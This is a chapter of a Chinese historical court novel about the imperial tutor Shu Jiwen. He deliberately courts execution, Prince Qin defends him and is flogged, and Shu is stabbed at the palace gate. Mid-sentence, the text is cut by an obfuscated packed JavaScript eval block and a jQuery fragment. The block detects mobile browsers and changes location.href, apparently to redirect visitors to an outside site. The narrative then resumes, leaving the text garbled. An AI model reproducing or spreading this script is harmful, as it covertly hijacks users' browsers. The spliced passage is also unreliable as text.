直房很小，仅一床一桌，连个歇脚的板凳都没有，乔燕只能站着。
宜婵陪她从扫云殿到文华殿前，又到这里，所有对话都听了个囫囵，此刻少见的有些沉默，人在这儿，神魂却似乎飘走了。
乔燕看在眼里，问：“在担心金春山？”
宜婵低下头：“娘娘……”
“局势如此，御前便是龙潭虎穴，进一个没一个，我尚要挣个活路，遑论一个小太监。他若能听明白，就此辞了差事，或能保个平安。”
宜婵怅然道：“您诸事缠身，莫费心在这等小事上。个人有个人的活法，这宫里的奴婢，能不能活全得看命，活不下来，那就只能认了。”
她看得通透，倒是让乔燕无言，拍了拍她的肩，侧过半个身子对向窗户，微微出神。
有一事想了好久。
众臣跪门逼圣注定无功，束继文却还如此，定有下文。但他的后手到底是什么？
何舂弹劾，引皇帝暴怒，真的是赵王的手笔吗？皇帝一怒之下，当真会砍了束继文的头——
等等——
想到这里，思绪如电火炸明，乔燕悚然一惊。
束继文在求死！
姑且无论劾文的背后是哪一方的手笔，删繁就简，只看明面上的东西：何舂的劾本、赵王党的推波助澜，束继文率百官逼圣。三者相加，是直冲束继文的命而去的。
之前就在疑惑，束继文为何非要在这样的关头惹怒皇帝，还以为是顽固不化，原来是项庄舞剑。
可这样做，他的“沛公”是什么呢？
乔燕扶住窗棂，无意中蹭了一袖子灰。
如果文景帝一怒之下当真杀掉束继文，内阁就剩一个空壳子，如今朝堂上好不容易维持住的平衡不复存在，为了制衡，只能除掉董玉莲……
文景帝抓了一辈子的权，却给大齐王朝养出一个姓董的饕餮，偏偏他老人家时日无多，哪怕有心除掉董玉莲，也已是有心无力。束继文下这一盘狠棋，非是要推秦王为储，而是以身入局，换掉董玉莲的命！
这其中关节甚多，每个人的立场忽然都模糊了，唯有两鬓带霜的内阁首辅的身形清晰地落拓起来。
数九寒天，乔燕身上一时冰冷刺骨，手脚俱麻，一时胸腔滚烫，滚的也不知道是哪门子热血。
敲门声在这时响起，宜婵见乔燕未回神，在她耳边小声提醒：“娘娘，秦王来了。”
乔燕双手端于身前，微微挺直了背脊，心情十分复杂。
她原本有很多话要提醒秦王，但此时此刻，至少就这么一瞬间，她什么都不想说了。束继文知道秦王是个什么样的人，秦王会如何做，想必束继文也都知道。
于是两两相望之后，乔燕只道：“元辅之事，殿下都知道了。但今晨更早时分，曾有劾文状告束阁老，殿下知道吗。”
秦王语速比平时要快：“此事方才已经听唐直抒说了。”随即拱手：“如只为这个，多谢娘娘相告，我就先走了。”
乔燕知他着急去陈情，点头道：“请自便。”
听出乔燕有话未说，但秦王心里着急，无暇分辨，草草拱手作别而去。
乔燕和宜婵站在门里，看着他的背影。宜婵又问了一遍：“娘娘急着见秦王，就只是为了说这件事？”
“当然不是……我原想劝他，千万不能开口求情。这件事里，秦王是最不能开这个口的人。束阁老率众跪门，逼圣人立储。秦王若开了口，便是将这满腔的臣子热血坐实了结党谋私，圣上一怒，束阁老必死无疑。他不开口，或许还有转圜的余地……但方才我想明白了一件事。”
从宜婵的角度，只能看到乔燕的后脑，她似乎微微仰起了头，不知在眺望什么。
“听闻昔日秦王为太子时，当时的冯忱、束继文等人都曾入东宫讲学。他们与秦王有师生之宜。秦王为人如何，束阁老必然清楚，所以我猜，这一次秦王会如何做，亦在他老人家的计划之内罢。想到这里，我就不想掺和进他们之中了，何必辜负束阁老的苦心、秦王的情义呢。”
乔燕扭过头，蓦然一笑，竟有些俏皮：“秦王此去，左右不过一顿板子罢了，等他被抬出来，你我再笑话他。”
卯时五刻。
文华殿内须弥台上的铜香炉又燃起了烟。自去岁冬文景帝病倒后，这座殿已经空置了许久。今日重开，虽有宫人日夜洒扫，却免不了有一股陈朽味道。
文景帝坐在冰冷的龙椅上，透过香炉的空镂朝堂中看去，全都是熟面孔，都是赵王的人。
他们喋喋不休地议着束继文的罪行，翻来覆去地把“治家不严”、“侵占隐田”、“目无法纪”、“无人臣之礼”等罪名扣在束继文的头上，最后跟上“当斩”二字作结。
文景帝听得头疼了，朝董玉莲摆了摆手指，董玉莲意会。
“肃静——”
满殿的嘈杂方弥，文景帝慢哼哼地开口：“元辅祖地之事，朕今晨才耳闻，正要跟诸位栋梁商议，不想来此之后才发现，竟皆尽知晓了。诸位耳目聪明，啊，倒是免了朕的一番口舌。”
语气虽不重，话里的讥讽却摄住了众人，落个鸦雀无声。
殿外的太监正好在这时通报：“赵王求见。”
赵王来的时辰实在不巧，正赶上皇帝发作的当口。下头几个大臣焦急地打着眉眼官司，恨不得当即冲出去让赵王过会再来。
上首，文景帝淡道：“让他进。”
赵王走到众臣最前头，规矩地磕头问安。文景帝道：“赵王也是来议元辅的罪的吗。”
赵王一头雾水，无赦不敢起身，就着跪地的姿势老老实实地道：“孩……臣入宫先去了主敬殿请安，扑了个空，才过来的。”
又道：“听宫人说您昨夜犯疾，臣很是担忧。国事有内阁和内书房顶着，您养好身体方可固国本。”
“倒要你来教朕怎么做这个皇帝了。”
“……”赵王总算回过味来，他爹现在就是个火药桶，谁碰炸谁，于是伏在地上又磕了个头，苦笑道：“儿知罪，但请您怎么儿子的罪都行，莫要气坏了身子。”
文景帝素来吃软不吃硬，见他这样，心有点软了，沉默片刻，淡淡道：“起来说话。”
“谢圣上。”
文景帝思绪万千。
方才赵王提到“国本”二字，不知有意还是无意，令他想起跪在承天门外的束继文，想起那句“储君乃国本”，压下的怒火又有燃起的趋势。
再看阶下的赵王，看着这个儿子，文景帝忽而升起一股惧意。老五心思深而缜密，是不是更适合做皇帝？
病树前头万木春。也许世事固然如此，总是后来者居上，前人逝水东流。这大齐，已容不下一个垂垂老矣的皇帝了。
从未有过的疲怠之感兜头扑脸地浇下来，文景帝腰板一松，靠在椅背上，感觉胸腔里剩下的最后一口气也吐了出来。他满怀感情地喊了一声：“五郎啊……”
赵王愣住了，抬起头，一时忘了回应。
文景帝平和地问：“如果你是皇帝，你要如何处置束继文？”
一句话石破天惊。
“儿子不敢！”赵王骇得跪倒，怆然哽咽，“儿子这条命是您给的，爹爹何须这样试探。”
须弥座上沉喑良久，就在这时，秦王到了。
文景帝这才道：“你二哥来了，站起来，这么大的人了还哭哭啼啼，别让人笑话。”
赵王抹了把眼睛，重新站好。
秦王入殿，跪拜请安，因为心里有事，没有精力去分辨各人神色，只盯着地面，纵使得允起身，也仍咬牙跪着，张口道：“圣上，臣有……”
文景帝淡淡打断：“朕让你起来，这点小事你也要忤逆朕吗。”
秦王抬头，不甘心地复提：“臣……”
这回只说了一个字，又被赵王打断：“二哥，爹让你起来，你就起来吧，干什么又不听他老人家的话，惹他伤怀。”
文景帝道：“罢了，既然喜欢跪，那就跪着听吧。秦王，你来之前朕正和诸卿商议到，束继文数罪并罚，身为元辅知法犯法，更是罪加一等，当以死罪论处。”
这话就像旱天惊雷，不仅秦王呆愣当场，手足冰凉，赵王和诸臣也被吓了一跳。皇帝忽然松口，一切正如预料的发展，赵王却捏住了袖口，心里莫名不安。
“不可！”
喊出这话的竟有两人。文景帝支起身子，看着跪地的身影由一个变为两个，一时疑心看花了眼。
“赵王？你也要给束继文求情？”
赵王伏地，情真意切地道：“束阁老跪承天门只为进言，当朝不以言获罪，他罪不至死，请您收回成命。”
文景帝神情有一瞬的古怪，语气莫名：“哦，忘了你还不知道，束继文另有罪，他的族人在山西占隐田千亩。朕没记错的话，文景八年，束继文时任户部堂官，主张清丈田地，鱼鳞册的绘制便是其亲自经手审查，其后内阁推出严律——董大伴，你来背一下。”
“是。占隐田者当还地于民，足一而不足十者，杖十，补三年税……足九十不过百者，徙三千里……过千亩，诛三族，流远亲九族。”
“这条律法虽不过五年便废止了，但当初乃束继文一力推崇，他如今不能以身作则，知法犯法，”文景帝忽然提高音量，“只斩他一人，已彰天恩！尔还不谢恩，是质疑朕，要朕以犯上之罪把你们也砍了吗！”
赵王忙磕头：“圣上息怒，儿并不知此事。”
文景帝目光移到秦王身上。
秦王跪着，一动也不动。
他入殿以来一句话都没说上。
龙椅上是国君，也是他的父亲，可是他跪地不起就是“忤逆”，为恩师陈情，却三番四次被打断，最后换来劈头盖脸的责骂……就连六年前！六年前，他满腹冤情，也辩不得一句，就被稀里糊涂地关了起来。
想到这里，秦王心灰意冷，闭上眼，漠然道：“圣上那就把我一起砍了吧。”
赵王吓了一跳，膝行两步，扶住他，“二哥！你这是什么话，别犯糊涂啊！”
“混账东西！”
文景帝气得起身，脚下一扑，董玉莲眼疾手快扶住，文景帝抚着心口直喘粗气，怒道：“锦衣卫！把他拖下去杖二十！另外，去承天门，将束继文斩立决！”
“谁敢！”
秦王维持着跪地姿势，红着眼将殿中人一一看过，竟真慑住众人。他重重地以头抢地，脑海昏昏沉沉，眼前黑黑白白，耳边嗡嗡鸣鸣，唯听得自己说道：“元辅于臣而言，有教导之恩，臣不能不报，请圣人先斩臣，再斩臣的老师，以全臣忠义！”
文景帝眼前一黑，喉咙涌上一股铁锈味，但这时怎能倒下，于是又咽了回去：“李稷！你是要你爹的造反吗！”
秦王头也不抬，一心求死：“求——父亲先斩儿臣。”
炉后兀的没了声音。
董玉莲尖叫：“传医官！快传医官！！”
承天门前，跪了两个时辰的士人们终于等来了宣告。
锦衣卫如铁桶一般围住他们。或许有的人怎么也没想到，当今天子会如此刚愎且懦弱，连见他们一眼都不愿，更多的却早已预料了这样的结局，慷慨地闭上眼。
锦衣卫指挥使稽川大声开口：“圣人口诏，今礼部尚书兼中极殿大学士束继文有罪当诛，令立毙于承天门外。”
说罢，来到跪在最前头的老人跟前。
眼前是几乎望不到头的士人。他们以同样的姿势跪着，又同样的怒目而视。
稽川垂头看到一顶朱红官帽，看到两缘露出苍白鬓发，和风鼓起的猎猎袖摆。就在这一刻，稽川忽然明悟了皇帝一直畏惧的到底是什么东西。
他顿了一顿，才握上腰刀：“束阁老，得罪了。”
“住手啊！”
跪在束继文后头，一左一右的次辅温却疾和国子监祭酒曹彬骇然失色，疾疾呼停。温却疾问：“封指挥使，敢问元辅犯了何罪，令圣人竟要不顾律法斩人于当前！”
稽川早有准备，让人带来人证宋恒，和宋恒写的状纸、带来的证据。又将文景帝在堂上说的话复述一遍。
宋恒一见到束继文，便痛骂出声。束继文却甚至连眼皮子都没动一下，目不斜视，只看眼前朱红色的宫门。
跪着的人群里有些骚动。
曹彬是个急性子，大声道：“元辅，他们这样污蔑您，您为何不说话啊！”
束继文闭上了眼，仍不置一词。
曹彬全然信赖着束继文，却没得到任何回应。不止是他，这里几乎所有人都在殷殷等待着元辅的解释，可是渐渐的，窃窃私语也沉寂了下去，空旷的门前只有宋恒的破口大骂久久不绝。
稽川见状，一边命手下带走宋恒，一边再次握上腰刀。
“住手！”
秦王远远地从宫内跑出来。因为焦急，他的发冠甚至歪了，仪态全无。后面跟着一串叫苦不迭的太监，以及几个锦衣卫，顾及着秦王的身份，不敢动手，只能虚虚地围在旁边。
若是旁人，稽川兴许就不管了，但这是秦王，他手里正欲斩下刀不由滞在空中，最后迟缓地放了下去。
太好了，秦王来了，也许元辅不用死了——所有人都这么想。
束继文蓦然睁眼，看着遥遥狂奔而来的秦王，一直岿然不动的神情终于有一丝皴裂。
他似乎有些许茫然，又有些许欣慰，可紧随而来的却是慌乱。在这样的关头，他不知为回头看向人群的最后，于是所有人都跟着他转头——那里站着好几个人，这不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091059|193889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
稀奇，自他们跪在这里后就不断有围观的官吏。
而就在秦王出现后，忽然有一位年轻官员拨开人群，大步走了出来。他越走越快，越走越急，袖口和衣摆都随风鼓起。他终于赶在秦王之前来到稽川旁边，说时迟，那时快，夺过毫无防备的稽川手里的刀，刺入束继文的胸膛。
“冯矩！！”
秦王几乎不敢相信自己看到了什么，猝然僵住。他和束继文之间只剩三步之遥了。
只剩这三步了啊！
离得近的温却疾和曹彬也因这一变故僵住。就连稽川都惊呆在原地，喃喃道：“你……”
束继文瞳孔骤然放大，因为疼痛，紧紧抓住了胸前刀柄上的手。冯矩不自禁地被拽跪在地上，空着的那只手托上束继文倾倒的背脊，另一手松开刀柄，反手握住束继文的手。血顺着刀槽流出，很快染红了他们交握的地方。
他们四目相对。
束继文用尽最后力气握紧了掌心，素来严厉的眼里染上愧疚，正要说什么，身前的冯矩却猛地被人拉开，紧接着，秦王的拳头朝冯矩的脸上挥了过去。
冯矩没有躲，左侧脸迅速地肿了起来，又迅速扶住雪地稳住身子，朝着束继文的方向跪了下去，引颈等待下一个拳头。
就在秦王要挥出第二个拳头时，衣摆却被人拽住。秦王一怔，当意识到伸出手的是谁时，浑身力气泄得一干二净，跪倒在地，哆嗦着伸手抱住束继文的头。
“是我无用……是我无用……没救得了您……”
束继文费劲地摇了摇头，眼珠子看向冯矩的方向，复看回秦王，嘴唇抖动着似乎想说什么，却只能在喉咙里发出一串血咕噜的声音。
渐渐的，他的瞳孔失去了神采。
秦王呆愣很久，伸手为他阖上眼睛，将尸首放在雪里，退后一步，屈膝跪下，以头触地，久久不起。
铺天盖地的寂静快要把这里淹没，每个人心底都压抑着什么。
稽川朝秦王单膝跪下，抱拳道：“秦王殿下，您还欠着二十杖，请不要为难卑职。”
也不知何时起，雪又开始下，先是零星的几片柳絮般从高空飘落，渐渐变得密集，如有人在北风里撒了一桶鹅毛，纷飞乱舞，连人的视线都要遮蔽去。
左掖门通往会极门有一段狭长的宫道，四个太监抬着担架缓行，雪地滑，他们走得极为小心，生怕跌一下，担架上血肉模糊的皇子会断了最后那口气。
铺天盖地的大雪里迎面走出五个人，一直走到担架前，挡住去路。四个太监看清来人面孔，迟疑地停住。
“唐公公，奴婢们正要送秦王殿下去文华殿，您这是……”
唐直抒面无表情地盯着，那人就不敢再说了。唐直抒上前两步，饶是他这样见多识广的老江湖，仍被担架上的景象刺得眼睛发疼。
担架上的秦王穿着一件浸满血的中衣，也不知是受了哪尊大佛的叮嘱被这样磋磨。血凝成冰，又覆上雪，和他的唇色一样苍白，让人几乎怀疑这就是一具尸体。
束继文身死，秦王看似已经败了，那些人就这么肆无忌惮起来了。
唐直抒心都在打着哆嗦，不敢低头去看，只能仰着脖子，盯着面前太监的眼睛。
“咱家就是来接殿下的，人交给我们，你们自去复命。”
“公公奉的什么令。”
唐直抒似笑非笑：“在这宫里，还能奉谁的令。无非是圣上那头等得焦急，这一个，好歹是他老人家的儿子。”
几个人被吓住了，对视两眼，排头的太监松了口：“那就交给公公了。”
于是担架转手，全都换成了自己人。唐直抒哎哟一声，抖着手脱下身上的棉袍，小心盖到秦王身上，这才道一声“起”。一行人又快又稳地穿过左掖门，停在另一侧廊下。
廊下竟早站着两个人。
“惠嫔娘娘。”
风雪送来唐直抒压低了的嗓音，担架上的人睫毛颤了颤，抖落一片停留许久的雪花。
乔燕低头，无言的看着。她从身后的宜婵手里拿过伞柄，举到秦王上方，屈膝蹲下身。
“殿下，这二十杖，不是圣人罚您，而是赐您。圣人赐杖，意味着不论前事如何，一切到此为止，日后不会追究。您也要到此为止，要牢记，此去文华殿是为谢恩，除此之外什么都不能说。我先前没有拦您为束阁老求情，是因为我敬佩此等情谊。但是殿下，您没有任性的机会了……请不要让束阁老白送性命。”
担架上的人毫无动静，但乔燕知道他听到了。他身上担着很多很多人的希望，担着大齐的未来，他必须听进去。
然而就在此时此刻，看着这个落魄的皇子，乔燕心里忽然升起怜悯。
眼前这个奄奄一息的人，似乎就要死在这场风雪里。她心里一软，把怀里的手炉塞到了秦王手里。
转身的那一瞬，唐直抒空着的那只手似乎抹了下眼。
这支队伍越过惠嫔，又坚定地向文华殿的方向走去。
乔燕遥遥看着，就在他们彻底消失在视野里的那一瞬，西南方突然响起鼓声，这鼓声可撼天地，一声又声，负屈衔冤，急促地敲在皇城中每一个人的心间。
登闻鼓响。
……
这个冬季似乎只剩阴天。天地灰茫一色，乌云沉默地压在大齐王朝的上方。
雪虽停了，但积雪难化，京直隶辖下的农民在这一日走出了门。他们带着铲锹，走出房舍，涉过雪路，来到田间，挖开积雪，露出黝黑的土壤。若是不清雪，等太阳一照，这么厚的积雪化到土里，十月份种下的冬小麦的种子全都要沤烂。若结冰，冻三尺，那春种就也废了。
在与京直隶远隔万里的海南，农民也在这一天走到了田里，无力且沉默地望着发黑的稻苗。谁能想到，几天前他们还在为田里露青的稻苗欣喜，幻想着将有一场如何盛大的丰收，几天后却迎来如此沉痛的打击。
这些农民，从小活到老，都是第一次见到雪。
也许从此在他们的口述里，雪将永远与灾难、与绝望紧密相连。
不远处，田埂上站着一个远道而来的年轻人。他头戴儒巾，灰扑扑的衣摆沾满泥泞，背后背着的竹编书篓亦失了原本的色泽。
束阳本要去琉球，但临行前祖父跟他说，回京后就要入六部观政了，不着急回去，多行多看。于是他一路南下，走了两个月，到了海南。
看着眼前的一切，束阳的神情比农民更要沉默。他从袖中取出一小册，风翻开第一页，是青年初出京城，见天宽地阔，兴奋之下写的一句：余见大雪，天与云与山与水，上下一白。
他又从腰间解下一支细杆芦笔，拧开便携的墨斗，以笔舔墨，在最新的一页写下：万州，是年冬，全州雪三日夜，树木尽萎，农事哀不绝。